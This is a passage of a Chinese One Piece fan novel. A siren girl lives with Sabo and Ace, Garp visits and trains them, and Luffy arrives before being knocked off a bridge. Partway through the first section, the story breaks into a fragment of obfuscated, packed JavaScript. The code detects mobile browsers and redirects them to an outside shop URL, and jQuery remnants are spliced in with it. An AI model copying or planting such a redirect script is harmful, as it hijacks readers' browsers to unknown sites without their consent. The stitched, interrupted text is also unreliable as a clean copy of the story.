“你要怎么教我,你又没有鱼尾。——而且,翅膀不能沾水吧?”我侧头去看背后的翅膀。翅膀上的羽毛乍看是雪白色的,其实闪耀着一层绚烂的彩光,是五彩斑斓的珠光白。 我俩在小泳池折腾了大半天,居然真的摸索出了不少成果——我学会了“把翅膀收回体内留下鱼尾”、“把鱼尾变回双腿留下翅膀”和“变回人型”另外三种变形方式,也学会了在只有鱼尾的状态下如何游动。 我本来还想试试在保留翅膀和鱼尾的状态下游泳,但是萨博挖的泳池没有那么大,我身上又是翅膀又是鱼尾的根本施展不开;萨博又反对我直接跳进海里练习。最后只好把我和萨博的想法折中一下,约好明天再来这里,让萨博给我挖一个更深更宽敞的泳池。 这一天过得筋疲力竭,我和萨博都没有精力抓晚饭,草草吃了点干硬的面包应付了事,倒在床上便失去了意识。 第二天早上,萨博的肚子饿得咕咕叫,把我生生吵醒。紧接着,我的肚子也叫了起来。 “好饿……但是不想动。”我推开萨博的手臂翻了个身,眼睛中失去了高光。 “我也好饿,感觉能吃下一头野猪。”萨博揉着肚子,虚弱地开口。 “不用感觉,你一定能吃下一头野猪。”虽然我现在也吃得很多,但——果然还是萨博和艾斯更像饭桶!有他们做饭量对照组,我一下子就对自己惊人的食量宽容起来。 萨博振作精神,从床上一跃而起:“好嘞,我去抓一头半野猪回来吃吧!” “哪有半头野猪这种东西!” 萨博麻溜地收拾好自己,嘱咐我乖乖在家里等他,拿起钢管出门了。 萨博出门后,我饿得睡不着,胃里酸疼,干脆起床开始打扫整理房间,试图把注意力从空荡荡的胃转移开。 到小溪边洗抹布的时候,我突然想到——既然我是塞壬,作为理论上的水中掠食者,我潜进溪水里抓鱼不是顺理成章的事情嘛。 就是有一件事出乎了我的意料——艾斯带着卡普来到了我和萨博的家。 清澈的溪水中,双腿化为鱼尾的我嘴里叼着一条鲜活的大鱼,呆滞地对上了艾斯的眼睛——他坐在卡普的肩头,嘴里正啃着一块西瓜。 鱼掉回了溪水中,西瓜掉到了卡普胸口。 相顾无言地沉默了几秒后,森林里响起了三个人的尖叫。 “诶!!!!!” “诶!!!!!” “诶!!!!!” 这个世界岛屿众多,存在着各种各样的智慧种族。既然大家都知道人鱼族和鱼人族,多我一只塞壬幼崽也没什么吧。抱着这种想法,我把昨天发生的事情简略地讲了一遍,告诉了艾斯和卡普我的种族。 “这样啊。”艾斯做出理解的样子点了点头,用一种要求我把面包递给他的语气开口:“把翅膀变出来飞一圈看看。” 我有点不爽艾斯的语气,眯起眼睛看他:“谁要给你看,别把人家当成马戏团里的猴子!” “这个西瓜给你,小不点,请务必变成塞壬的形态让我们涨涨见识。”卡普从裤兜里掏出一个巨大的西瓜,双手捧着递过来,看起来诚意十足。 “……”你们爷孙俩一个德行是吧?!我盯着他们看了几秒,叹了口气,伸展出羽翼飞翔到空中。在阳光的照耀下,浅绿深蓝渐变的华美鱼尾璀璨生辉。 “哦哦哦好帅气!”他们眼睛里放射出了皮卡皮卡的光芒。 “喂,艾斯,接住我。”我收回翅膀。 艾斯下意识向我伸出双手,稳当地接住了我,随后用恨铁不成钢的表情看我:“这点路你都要我抱吗?莉莉,你也太……” “好了闭嘴,抱我去屏风后面。” 我和萨博居住的山洞地方不大,如果维持着羽翼和鱼尾的塞壬完全形态飞进去,很容易撞翻家里的东西。收回翅膀留下鱼尾的话,就只能像僵尸那样一步一蹦…… 不要说什么把鱼尾变回双腿的傻话了,异世界可没有爆衫不爆内衣的基本法!我将双腿变形成鱼尾的时候是无法继续穿着胖次和裤子的,变回双腿后需要重新穿上。昨天的变形不受我的控制,直接撑破了我的胖次,裤子又被海浪冲走了,最后还是萨博脱了大衣裹着我回来的。我只能庆幸现在自己是个小孩子,不然真的太丢脸了。 我本来都准备好要和艾斯呛声几个来回了,结果他居然没有再说什么,听话地把我抱到了屏风后面。 “出去吧,我要换衣服。”我推了他一把。 艾斯给了我一个“生气但我忍了”的阴沉眼神,顺着我的力道走出屏风。 我找到胖次和裤子穿上,问他们为什么来这里。 “我昨天不是说了会过来吗。”艾斯在外面“咔嚓咔嚓”地啃着什么。 卡普也在“咔嚓咔嚓”地啃着什么,他在吃东西的间隙回答我:“老夫听达旦说你和你哥哥是艾斯的朋友,三人总是一起行动。作为艾斯的长辈,老夫准备了一些礼物带过来,感谢你们一直以来对艾斯这个臭小子的照顾。” “哈,你在说什么啊老头子,搞清楚是谁在照顾谁!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222165|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嘭”“嘭”两声沉闷的敲击声后,卡普浑厚的嗓音盖过了艾斯羞恼的声音:“给老夫闭嘴,没有礼貌的臭孙子!” “你这个臭老头!” 我换好衣服走出屏风的时候,他们俩打成了一团。 好幼稚,不管是爷爷还是孙子都好幼稚,真的没眼看。等等,西瓜为什么只剩一半了?他们俩刚才啃的是说好了要送给我的西瓜吗?! “我说你们俩个!”我黑着脸举起拳头,“不要肆无忌惮地在我家搞破坏!” “屁大点一个小丫头,脾气还挺大。”卡普盘腿坐在地上,手里拿着锤子和钉子,老老实实地修复被他弄坏的儿童小家具。 坐在床沿的艾斯冷笑:“哼,活该。” “别动,我差点贴歪了。”我给艾斯额头上的肿包贴好大号创口贴,拉开他身上松松垮垮的背心探头往里面看,“干嘛把绷带全拆了,伤口真的长好了?” “当然长好了,少瞧不起人了!”艾斯一边说一边把胳膊也伸过来给我看。 别把人家的担心说成鄙视啊笨蛋!我舔了一下尖利的犬齿,觉得牙齿痒,想要在这个狗东西的胳膊上咬一口。 可能这就是我的世界和异世界的差别吧,在我的世界,艾斯前天受的那些伤至少得养上好几个月才能痊愈,说不定还要留下严重的后遗症;结果他今天就能跑能跳了,身上只余浅浅的伤痕和淤青。我知道,这些伤痕和淤青也不会残留太久,不出两三天就能完全消失。这种怪物一样的体质,萨博、艾斯和我都具备,我合理猜测这个世界的人都是这样的怪物。 确定艾斯没什么大碍,我终于放下心来,跳下床去啃剩下的西瓜。我本来想给萨博留一半来着,一没留神就吃完了。这个剩下的西瓜明明有我脑袋那么大,怎么会……我很怀疑地摸了摸自己的肚子,却仍旧觉得胃里面空荡荡的,像是根本没有吃过东西。 “咕咕咕……”肚子回应我想法似的大叫起来。 卡普放下修好的儿童家具,在短裤口袋里掏了两下,掏出一大包仙贝:“喏,拿去吃吧。肚子叫得这么响亮,老夫可不能当做没听到。”说完仰起脑袋哈哈大笑。 卡普的口袋简直像是哆啦X梦的口袋一样,总能掏出体积远超过容量的东西。我偷偷瞟了一眼那个神奇的口袋,接过仙贝对卡普礼貌道谢。 仙贝,这个仙贝……好好吃!世界上怎么会有这么美味的仙贝!!!我差点因为几块仙贝流出眼泪,实在是太好吃了! 我见坐在我旁边的艾斯口水都要流出来了,赶紧塞了几包给他。 艾斯撕开包装狠狠咬了一大口,脸上浮现出两团红晕:“好好吃!” “是吧是吧,好吃得太过分了呜呜呜。”我幸福地捧住脸,感觉身边跳出了一圈彩色的小花花。 “这是香波地群岛的特产,伟大航路仙贝,简称伟仙。等你们长大了去到香波地群岛,可以尽情吃个够。”卡普看向我,眼神中隐隐含着期待的光,“那个,小丫头……” “嗯?”我包着满嘴仙贝抬头。 “来当海军吧!等你和艾斯再长大一点,老夫就帮你们申请入伍。以你们的资质,一定能成为最优秀的海军!” 比起海贼,我更不想当海军。军人是多么神圣的职业,肩上承担着多么重大的责任,成为了军人意味着必须从此忘却自身荣辱,以保家卫国、庇护群众为己任。我哪有那么高尚的情操。 我赶紧摇头。 “别以为靠几包仙贝就能动摇我的决心,臭老头!我是绝对不会成为海军的!”艾斯把我拉到他身边,大声道,“莉莉也是,她将来要和我们一起出海,成为这片大海上名声响亮的大海贼!” 什,什么,我也没说要当海贼吧…… 眼前一黑,巨大的拳头对着我和艾斯落了下来。 “???” 失去意识前,我听到卡普在怒吼:“闭嘴臭小子,你们都给老夫去当海军!!!” 我这是什么无妄之灾……艾斯你这个狗东西! 12. 海贼和冬天 诱人的肉香唤醒了我的意识,我睁开眼睛,一根香喷喷的大肉腿悬停在我的上方,油汪汪地冒着热气。大肉腿抬高,后方露出了萨博的脸。 我盯着他肿起来的眼睛和垒了好几个包的脑袋看,疑惑道:“你的脸怎么回事?” “嘿嘿,被艾斯的爷爷狠狠教训了。”萨博把我拉起来,递过来刚才的那根肉腿。 “……”我想起了某些糟糕的记忆,摸了摸自己脑袋上的包,“因为艾斯说你要跟他一起去当海贼?” “我自己说的!”他挺起胸膛,一副很骄傲的样子。 你在骄傲什么啊?我一下子失去了和萨博交流的欲望,低下头往肉腿上使劲吹气,想要尽快吃上肉。 “可恶,那个老头子的拳头真硬。”坐在篝火另一边的艾斯也在啃大肉腿,脸上和脑袋上的伤看起来比萨博更严重。 我警惕地环视了一圈周围,确定家里只有我们三个小孩,卡普不在这里。 “你爷爷呢,艾斯?”我决定了,只要卡普在场就离艾斯三米远,免得当一尾被牵连的池鱼。 “他说萨博扛回来的野猪不够吃,自己找东西吃去了。” “说起这个,我们长大了该怎么办?”我带着点愁绪低头啃肉腿,又因为香喷喷的肉满脸发光,“现在我们一天就可以吃掉两头多野猪,以后难道要天天抓体型更大的老虎和棕熊来填饱肚子?这座山里的动物够吃吗?” “你想得太多了吧,我们又不会一辈子呆在戈尔波山。”艾斯几口吃完了他的那份肉,捧着仅剩的腿骨仔细找寻残余的肉渣啃,含糊地说,“老头子和我说过大海里有山那么大的海兽。等我和萨博攒够了海贼储备,就买一艘海贼船出海,从海里抓巨大的海兽来吃。” “那我们买船的时候要买一个有超大厨房的船,不然怎么料理那么多的肉。”萨博用双臂比划了一个“很大”的动作,眼睛闪闪发光,仿佛已经看到了三餐吃得肚子滚圆的未来。 “船上还要有一个很大的储存室,用来放烧火的木柴。哦,还有宝藏!”艾斯的眼睛也开始放光。 我瞥见出现在艾斯身后高大的阴影,连忙挪动屁股远离正在畅想未来的两个人,大声表明立场:“我才不要和你们去当海贼!” 萨博着急了:“为什么不当海贼?莉莉,我都规划好你的房间了,就和我的船长室挨着,方便我每天晚上念故事给你听。” 艾斯瞪大眼睛:“哈,什么叫你的船长室?萨博,我才是船长吧!” 那个高大的阴影发出了一声恐怖的低笑:“小崽子们,还在做着可笑的海贼梦吗?” 萨博和艾斯的脸青了。 接下来发生的一切就不详细描述了,总之很惨烈。 卡普发泄过怒火,拖来萨博教我学字的小黑板,咳嗽了一声清嗓子,开口道:“为了成为优秀的海军,” 我和萨博手忙脚乱地捂住艾斯的嘴,不让他反驳。 “你们必须从现在开始了解这些知识,例如战斗的时候……” 我凑到他耳边小小声:“别和你爷爷顶嘴了,他再来一拳你真的会死哦。” “莉莉说得对。不管怎么样,难得有机会学习战斗技巧和航海知识,先学了再说。”萨博在艾斯的另一边小声劝说。 艾斯推开我们俩,黑着脸坐下。 看样子是冷静下来了。我和萨博对视了一眼,相□□点头,开始认真学习卡普教授的知识。 卡普很擅长教授战斗技巧,讲到兴头上还会随机拉出我们三人中的某个人实战两招,把人揍得满头包再扔回去。但是讲到航海知识就不行了,东一句西一句,鸡零狗碎,听得人满脑袋问号。艾斯听了三分钟,仰起头呼呼大睡。卡普见了,举起拳头怒气冲冲地要过来揍他,走到半道,卡普自己也睡着了。 “是遗传吧?”我撞了一下萨博的胳膊,小声问。 萨博点头,满脸佩服:“真是神奇的血脉呢。” 时间一晃就过去了。夏天黑得晚,我们吃过晚饭后,天空还是亮堂堂的。卡普听说我和萨博要去海边练习游泳技巧,兴冲冲地表示这个他也很在行,可以教我们。我和萨博没有异议,艾斯反对。三票赞对,一票反对,卡普把我拎起来放在肩膀上,对着艾斯得意洋洋地大笑三声,双手插兜迈着六亲不认的步伐走出了我家。 艾斯的脸好臭,让人看了好想笑哈哈哈。 来到海滩。 为了给我们准备一个空间足够的游泳池,卡普活动了几下手臂,对着沙滩轰出一拳,直接轰出了一个直径10米,深达5米的圆形大坑。 我艰难地吞咽口水,差点给这位超级赛亚人跪下。看得出他揍我们的时候真的非常克制了。 “好好锻炼,将来你们一定能超越老夫!”卡普哈哈笑着要来拍我的肩膀。 你别过来啊啊啊啊!失手把我拍死了怎么办!(无声呐喊) * 时光飞逝,我在异世界迎来了第一个冬天。 雪花从天空中纷纷扬扬地飘落,我没有感到寒冷,只觉得异常兴奋。 这是我第一次见到真实的雪花。 一小片雪花刚好落在了我的鼻尖。我眨了眨眼睛,往上吹了口气,雪花打着旋儿飞走,像是一只轻灵的白蝶。 “哈哈,好有趣~”我伸展开身后巨大的羽翼,追逐着这片雪花飞入冷冽的寒风之中,旋转腾飞,左右飘移,将安静下落的雪花 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“冬天哪有蝴蝶,你不会抓了什么奇怪的东西打算吓我吧?”嘴上说着怀疑的话,艾斯低头看向我的双手。 我打开手掌,一只小小的白蝶在我的掌心中轻轻地扇动着翅膀。 “诶,真的有蝴蝶?!” 趁着艾斯愣神的一瞬间,埋伏在周围地面的雪花小蝴蝶们瞬间腾空而起,将他团团包裹,把他变成了一个雪人。 艾斯被冰得惨叫连连:“啊啊啊混蛋你给我等着!” 我笑嘻嘻地对他做鬼脸:“笨蛋艾斯,你有本事抓住我看看啊~” 十秒后,我被满头满身都是雪花的艾斯逮住了。 他一只手拎着我的后领,另一只手掐住我的脸蛋,狞笑着问:“小丫头,你刚才说什么?” “哥哥我错了。”我老实巴交地缩着羽翼,换上乖巧的伪装色。不过我下次还敢,总有你抓不住我的时候,嘻嘻。 艾斯把我拎回散发着暖意的山洞,让我收回翅膀,强行给我套上了毛茸茸的围巾和坠着毛球的帽子。他盯着我看了两眼,嘴里嘀咕了一句“只有外表看起来可爱”,转身从衣柜里翻出好多件厚实的冬装,将我直接裹成了一个圆球。他把我扔到沙发上,推着我滚来滚去玩了好几个来回,满意地拍了拍手上不存在的灰尘,叉腰道:“这样就不会到处乱跑了。” 我被一层又一层的布料束缚了肢体,四脚朝天躺在沙发上,脸憋红了都没把自己翻过来,只好大声呼唤萨博,让他来救我。 萨博拿着汤勺探出半个脑袋:“先等一下,莉莉,现在正是烹饪的关键时刻。” 你只是囫囵着把肉和配菜煮熟吧,别搞得自己像个高级厨师一样! 13. 生日和路飞 吃过晚饭,外面的雪已经停了,整个世界银装素裹,一片雪白。我踩上厚厚的积雪,听见脚下传来“咯吱咯吱”的声响,感到一阵新奇。原来雪踩起来是有声音的。 我快乐地张开双臂,在积雪上来来回回地奔跑。 艾斯跟在我身后,双手揣在冬衣的口袋里,警告我:“不要把围巾和帽子脱掉。” 我怕热不怕冷,零下的温度对我来说也很适宜。我不乐意穿上一层层冬衣,不仅很热,还很笨重,活动起来碍手碍脚的。但是萨博和艾斯觉得我在大冬天不能只穿着短袖和短裤渡日,每天都执着地给我添衣服。 萨博拖着自制的简易拖车走在最后面,车里装着三条我们昨天从鳄鱼窝里抓住的鳄鱼。鳄鱼在冬天会冬眠,我们没费多少力气就把他们一窝端了。 达旦一家最近过得很不景气,已经穷得快要揭不开锅了。我和萨博商量了一下,决定把吃剩的三条鳄鱼都送去给他们。 “尽干些无聊的事。”艾斯这么评价我们的行为。 收到三条大鳄鱼的达旦一家围着艾斯高声欢呼,感动地说多亏有他,不然这个月就要饿肚子了。达旦一开始还死要面子说她养了艾斯这么多年一分钱抚养费没收到,别以为一点小恩小惠就能把账抹平了,转过脸哭得稀里哗啦。 艾斯僵硬地站在吵闹的人群里,表情扭曲,像是在害羞又像是在生气。 我和萨博捂着脸偷笑。 我:“绝对是在害羞。” 萨博:“像个笨蛋一样呢那个家伙。” 笑归笑,达旦说的话我也听进去了。那个叫做“抚养费”的陌生单词结合上下语境,应该是我理解的那种意思。快乐又痛苦地做了大半年小孩,我都快忘记社会人该有的形状了。 第二天,我偷偷摸摸地把我积攒了好几个月、重新变得满当当的小宝箱放到了达旦的枕头下。我模仿着卡普狂野的字迹在纸条上面写:“艾斯的抚养费。PS:请把沐浴露和洗发水更换成水蜜桃味”,把纸条夹在宝箱的开合处,以便达旦在打开宝箱的时候第一眼就能看到。 我一整个冬天都沉浸在追逐雪花、堆雪人、打雪仗的新奇体验中,偶尔爬到树上偷窃松鼠在秋天贮备的坚果小仓库,在艾斯的必经之路上挖陷阱,帮萨博熏制吃不完的野兽肉条、抢劫瞧不起小孩子的流氓地痞……忽略掉每天雷打不动的严格修行,我每一天都快乐得冒泡。 成熟的大人有什么好当的,我要当无忧无虑的快乐小女孩! 春天的时候,萨博给我准备了一个漂亮的蛋糕。 “今天是去年捡到莉莉的日子,也是莉莉的1岁生日!生日快乐!”萨博把一顶尖尖的生日小帽子扣到我脑袋上。 “……”虽然我记不住自己的生日,也无所谓随意被定下生日的日期,但是“1岁生日”也太过分了吧!我低头看了看自己短小的四肢和肥肥的肚子,心里估计着自己大概的身体年龄。 “好了,点上蜡烛了。赶紧许愿!”艾斯把我推到蛋糕前。 我闭上眼睛,双手合十,大声说出自己的愿望:“我希望未来的七天可以不做跑步修行!” “不行,这种愿望不在范围内。”艾斯干脆利落地拒绝了我,不留丝毫余地。 萨博见我的脸一下子垮下来,忍着笑建议:“许个实际点的愿望吧,比如明天带你去镇上玩之类的。” “好嘞,就要这个!”我赶紧睁开眼睛吹灭蜡烛,不给他们反悔的机会。 艾斯侧头看向萨博,迟疑道:“这是正常的流程吗,萨博?” “嗯……”萨博露出沉思的表情,几秒后他迅速地放弃了思考,扬起灿烂的笑脸。“那种东西无所谓啦,来吃蛋糕吧!” 蛋糕只有8寸,作为生日的主角,我分到了一半,萨博和艾斯各分到了四分之一。这种分量对我们来说勉强能够塞个牙缝,几口就吃光光了。 我舔着残留在盘子底部的奶油,期待地听萨博畅谈明天怎么去蛋糕店吃霸王餐的计划,感觉自己已经完成了从普通市民到犯罪儿童的蜕变。果然,人类的堕落是没有尽头的(点头)。 我一向对生日、节日、纪念日之类的特定日期不感兴趣,总觉得是资本家搞出来收割钱财的噱头。不过萨博和艾斯都特地为我庆祝生日了,礼尚往来,我也要记住他们的生日,等到那天为他们庆祝。 “萨博和艾斯的生日是什么时候?你们应该没有背着我开生日宴会,偷偷吃蛋糕吧?” “我的生日……应该是3月20日。”萨博仿佛才想起来这回事,脸上的笑意渐渐消失了。“你不问我都快忘了。”他将胸口靠在桌沿双手托腮,表情恍惚:“原来我已经在不确定物终点站生活了这么久……” 木质的椅子腿发出一声刺耳的声响,艾斯推开椅子站起来,转身走出了山洞。他的语气听上去相当不愉快:“我出生的日子没什么好庆祝的,我也不想听到‘生日快乐’这种话。” “……”气氛一下子变得好沉重,明天还能按照原计划去蛋糕店吃霸王餐吗? “萨博……”我不知所措地抬头看萨博。 “抱歉,莉莉,想起了不太开心的事。”萨博摸着我的脑袋,笑得很勉强:“我给你准备了礼物,放在你的玩具柜里,你去看看吧。” 我踌躇了一会儿,问他:“你想庆祝你的生日吗,萨博?我也想送你生日礼物。” “不是很想。但是莉莉要送我生日礼物的话,我也会很高兴。”他这样回答。 既然你们都不愿意庆祝自己的生日,干嘛突然想起来给我庆祝……脑壳痛。这是“1岁”小宝宝应该承受的痛苦吗? 我没去拿萨博准备的礼物,几乎没剩下多少的责任感像根针似的把我钉在了椅子上。我觉得自己应该委婉地询问他们讨厌自己生日的原因,然后说点什么好听的话,尝试让他们解开心结,不再沉湎往事。像个温柔体贴,善解人意的大姐姐那样。 想象是很美好的,现实是——我没有说话的立场。我也好讨厌自己的生日,讨厌到不愿意记住那个日期。 或许是冥冥之中自有天意,我在异世界有了新的开始。 那道鲜血淋淋的伤口仍旧存在,只是这一次,我不会再对它耿耿于怀。这个世界的天空很蓝,大海很广阔,生活在这里的人们也 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“诶,那不是你爷爷吗?”我远远就看见了卡普的背影。 他站在山贼小屋的门前,和达旦、卡古拉、多古拉三人正说着什么,时不时发出几声豪爽的笑声。 艾斯放下刚才猎杀的野牛,把想要过去打招呼的我按住:“先看看他们在干什么。” 原来是卡普送来了另一个孙子,要求达旦他们代为抚养。 达旦非常抗拒,说要养艾斯一个已经够让人头疼的了,绝对不要再多养一个讨人厌的小鬼。 是叫路飞吗?完全没听卡普提起过……不过他经常这样,我已经习惯了。我盯着一会儿忙着追蜻蜓,一会忙着逮蚂蚁,头戴草帽的小男孩,从他洋溢着单纯和快乐的笑脸上看出了他和卡普眉宇间的相似。艾斯的长相就不怎么像卡普,他们只在某些性格和小习惯上能看出是爷孙俩。 “你知道你有个小弟弟吗?”我撞了一下艾斯的手臂,小声问。 艾斯没有说话,他的脸越来越阴沉,好像路飞越开心,他就越不高兴。在路飞跑到我们俩附近玩的时候,艾斯冲着路飞的脸吐了口水。 “???”我瞳孔地震。 路飞呆呆地抹了一把脸上的液体,发现是口水后,他也惊了一下,随后嫌恶地把手往衣服上抹,竖起眉毛要求艾斯道歉。 艾斯冷漠地盯着他,没有回应。 “哦,艾斯。”卡普转过头,扬起笑容,“小丫头也在啊。——路飞,他就是艾斯,比你大三岁。这个小丫头是莉莉,她……唔……”他卡壳了,随后装作无事发生地挠了挠头,继续对路飞道:“从今天开始,你要和艾斯、达旦他们一起生活。” 路飞龇着牙瞪艾斯,喉咙里发出小狗在挑衅对手时的那种“呜呜”声。 卡普一拳砸到路飞头上:“要和大家好好相处!” 突然冒出来的小弟弟,几个月见不到踪影的暴躁爷爷…… 我该不会……卷入什么奇怪的家庭伦理剧场了吧? 14. 午饭和吊桥 卡普表情凶恶地恐吓完达旦一家,敲定他们收养路飞的事情,一身轻松地扬长而去。 路飞完全没留意背对着他越走越远的爷爷,握紧了拳头挡在艾斯和我面前,再一次重复刚才的话:“给我道歉!” 艾斯继续无视他的存在,牵着我的手笔直地往前走,和愤怒的路飞擦肩而过。 “你给我站住!” 我回过头,见到路飞把草帽扣在脑袋上盖住眼睛,几秒后,他转动着草帽边缘抬起帽子,抹掉脸颊上残留的口水,表情中的怒气已经消失不见了。 “啊,你的名字是……”路飞终于注意到了我的存在。 手臂传来拉力,艾斯低头斜了我一眼。我被他的眼神看得头皮发麻,不敢再和路飞对视,赶紧跟上艾斯。 一路沉默地走进艾斯的房间,艾斯放开我的手,拿出工具收拾粘上了野牛血液的钢管。我在墙角的杂物堆找了个地方坐下,晃着脚变换了好几个坐姿,欲言又止。 你爷爷是不是另外还有一个家庭,路飞是另一个家庭里的孙子?虽然卡普很混账,但是小孩子是无辜的……这之类的话在我的舌尖翻滚。但是吧,路飞是无辜的没错,艾斯也是无辜的,作为艾斯的妹妹,我要坚定地站在艾斯这边!如果换成我处在同样的位置,艾斯也必须这么做。不然他就不是我的哥哥! 总之,接下来实行无视路飞的方针。在艾斯对路飞的态度改变之前,我绝对不能和路飞说话。 我严肃地点头,在心里为自己成熟的灵魂鼓掌。 “喂,发什么呆,给我。” 我抬起头,发现艾斯不知什么时候来到了我的面前,对着我伸出了右手。我迷茫地眨了眨眼睛。 艾斯“啧”了一声,从我背后拿走我的蝴蝶结小钢管,回到刚才的位置盘腿坐下。他低头用工具对着我的小钢管敲敲打打,语气烦躁地抱怨:“这根钢管早就不适合你了,快点换掉,修起来麻烦死了。” “咿——我不要!”我鼓起脸,“我喜欢粉粉,我要一直和粉粉并肩作战!” 艾斯往后仰了一下脖子,嫌恶道:“你还给这玩意儿取了名字?” “什么叫这玩意儿,你也太失礼吧。”我跳下杂物堆,坐到艾斯身边监督他修理我的粉粉,时不时提出异议。 “蝴蝶结不是这样打的,你好笨啊艾斯。” “这个地方该用油润滑一遍再装螺母吧。” “手柄上的绑带当然也要粉色的,你这是什么奇怪的审美。” 没过多久,我被艾斯拎着后领扔出了房间。 我对着“嘭”一声关上的房门眨了眨眼睛,拍拍屁股跳起来,跑去厨房帮忙做饭。 路过大厅的时候,我正好碰上达旦的小弟用胳膊锁住路飞的脖子,拿着短刀意图抢劫他,不由扯了扯嘴角。 连这种最多只有几个铜板的小孩子都抢,真是不挑。难怪达旦他们一直都过得贫困潦倒,冬天的时候还要靠艾斯和我们救济。 路飞见到我,眼睛一亮,完全没有在意横在脖子上的利器,弯起眼睛高兴地问:“莉莉,你和艾斯刚才去哪里了?我们当朋……” 我赶紧捂住耳朵,冲进厨房。 差一点被路飞追上,还好山贼们拦住了路飞。虽然他们的目的是为了恐吓路飞,打击他的心灵,想让他沦为任人驱使的可怜虫。 我回忆路飞仰着脑袋,一脸不服气瞪视艾斯的模样,觉得他们打错了算盘。他毕竟是卡普的孙子,再怎么样也不会向几个小山贼屈服的。 厨师先生一见我就笑着打招呼:“前几天搞到了优质的香料,小莉莉,过来尝尝味道怎么样。” 我吹了好几下厨师先生递过来的小盘子,叼起一小块牛肉细细品尝。满脸红晕地咽下口中的食物,我对他竖起大拇指:“超好吃!” “哈哈,那就好。”厨师先生乐呵呵地又给我盛了一盘牛肉,让我拿着吃。他带着我走到厨房处理猎物的水槽前,告诉我要把剩下的牛肉切成多大的肉块,用哪种切法。 我点了点头表示明白,套上一件和我幼小身体相匹配的小围裙,拿起菜刀开始麻溜地干活。我现在厉害了好多哦,以前见到血都会被吓哭。不愧是我,有在好好成长,哎嘿嘿。 达旦一家的午饭时间一如既往的混乱无序,弱肉强食,我坐在艾斯身边,用一根巨大的肉腿挡住艾斯的视线,偷偷观察路飞。只见他流着口水在拥挤的山贼之间东蹿西跑,被踢过来撞过去,最后连一块肉都没抢到,只能可怜巴巴地端起达旦给他准备的一小碗白米饭。他木着脸盯着饭碗看了两秒,仰起头将米饭直接倒进嘴里,不满足地要求达旦再来一碗。 达旦嚼着香喷喷的牛肉,气势十足地把路飞臭骂了一顿。 “达旦当初是不是也这样骂我来着?”我当时还听不懂这个世界的语言,也记不住那一串串语速飞快的句子,于是歪过头向艾斯询问。 “谁会记得那种无聊的事。”艾斯专注地吃饭,不管路飞做什么说什么都不看他,就好像家里没有这个人存在一样。但是当路飞说出“总有一天我会成为海贼”这句话的时候,艾斯动作很明显地瞟了路飞一眼。 我就知道,“海贼”这个词对艾斯来说有着致命的吸引力。 “别东张西望了,赶紧吃!” 脑袋被艾斯揍了一拳,我连忙收回目光,努力啃最后一块牛肉。 路飞扯过草杆编织的坐垫,笑嘻嘻地坐到艾斯身边,热情直率地开口:“我叫路飞,你向我吐口水的事情我已经不生气啦,我们做朋友吧!——还有莉莉,你也来做我的朋友吧!”路飞盯着我嘴里的牛肉,目光炙热,口水直流。 你倒是看着我说话啊!我在吞咽的时候被他这么一打岔,直接噎住了。我憋红了脸使劲捶胸口,好不容易才把卡在喉咙里的肉咽下去。 路飞捧着肚子,笑得见牙不见眼:“哈哈哈,你好有趣。” 艾斯把放在地板上的水杯递过来,拧着眉叮嘱:“慢点喝。” 那你到底是让我快点还是慢点。我接过水杯,咕咚咕咚喝了几口水缓解胸腔的胀痛,随后放下水杯,双手合十,按照萨博教的那样向达旦一家道谢:“我吃饱啦,谢谢款待。” 我最后的话音还没落下,整个人就已经被拎到了空中。艾斯一只手拿着他的钢管,一只手拎着我的后领走向大门。 路飞连忙跟上,好奇地问:“你们要去外面玩吗?带上我吧,我对森林也很熟悉 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笨蛋小狗,别再傻兮兮地追上来了。 可惜,笨蛋小狗根本不懂这个世界上为什么有人会拒绝和他当朋友。 高悬在山谷两端的吊桥是我们来往达旦一家和不确定物终点站的必经之路,艾斯说他有记忆起这座吊桥就已经在这里了。这么多年过去,无人维护的吊桥老朽腐坏,踩上去嘎吱作响,每次走过都是一次赌博,脚底下的木板不知什么时候就会彻底断裂。 在我们走到吊桥中央的时候,路飞又追了上来。乱糟糟的黑发里夹杂了不少树叶,脸上也有几道擦伤,他一身狼藉,却弯着眼睛对惊讶回头的我们扬起了毫无阴霾的笑脸。 艾斯瞬间握紧了钢管,转身向他走去,脚步由慢到快。 路飞以为他追上艾斯就是赢得了追逐游戏的胜利,即将获得奖励——和艾斯成为朋友,笑得更加开心。 艾斯举起钢管,凶狠地把路飞打下了悬崖。 “啊啊啊——” 我听着路飞的惨叫,不由倒吸了一口凉气,下意识伸展开羽翼,想要飞下去捞他。 艾斯手疾眼快地把我按在了吊桥的木板上,厉声呵斥:“把翅膀收回去!我和萨博告诉过你什么!” 我抿起嘴,不情愿地收起羽翼:“不能轻易暴露自己真正的样子。——但是艾斯,你刚才做得也……”我见艾斯的眼神越来越冷,心虚地偏过头。“他可能会死掉诶。” “那又怎么样,是他自己非要跟上来的。”艾斯眉眼间尽是冷酷,似乎真的对路飞的生死无动于衷。他把我从木板上拉起来,留下一句“自己走,十分钟到了”,往吊桥那头走去。 我抓着吊桥的绳索往下张望,没见到路飞的影子。幽深的谷底弥漫着阴冷的雾气,不得见全貌的小溪淙淙流淌,好像随时会飘来一具不知名动物的死尸。 我看了看艾斯越走越远的背影,心里左右为难。我是打定了主意,要始终如一坚定地站在艾斯这边没错……但是怎么能对掉下悬崖的小孩见死不救呢,那是活生生的一条人命啊。 我咬牙从吊桥上跳了下去。 15. 坐骑和黑吃黑 跳下吊桥以后,我才发现这个行为也不是那么可怕。 崖壁崎岖,布满凹凸不平的岩块,到处都是可以借力的地方。即使脚下的岩块湿滑、易碎,我也能靠着刻苦锻炼培养出来的优秀反应力、速度和身体素质重新找到新的落脚点,矫健敏捷地往谷底下落。 油然而生的自信消减了恐惧,我将注意力从“不让自己摔死”更多地分散到“寻找路飞”上。 下落到快要接近谷底那团阴冷雾气的时候,我和挂在枯枝上挣扎的路飞对上了视线。 他那双又大又圆的黑眼睛惊喜地亮起来,瘦弱的胳膊突然像是橡皮筋那样伸长,抓住了我的脚踝。 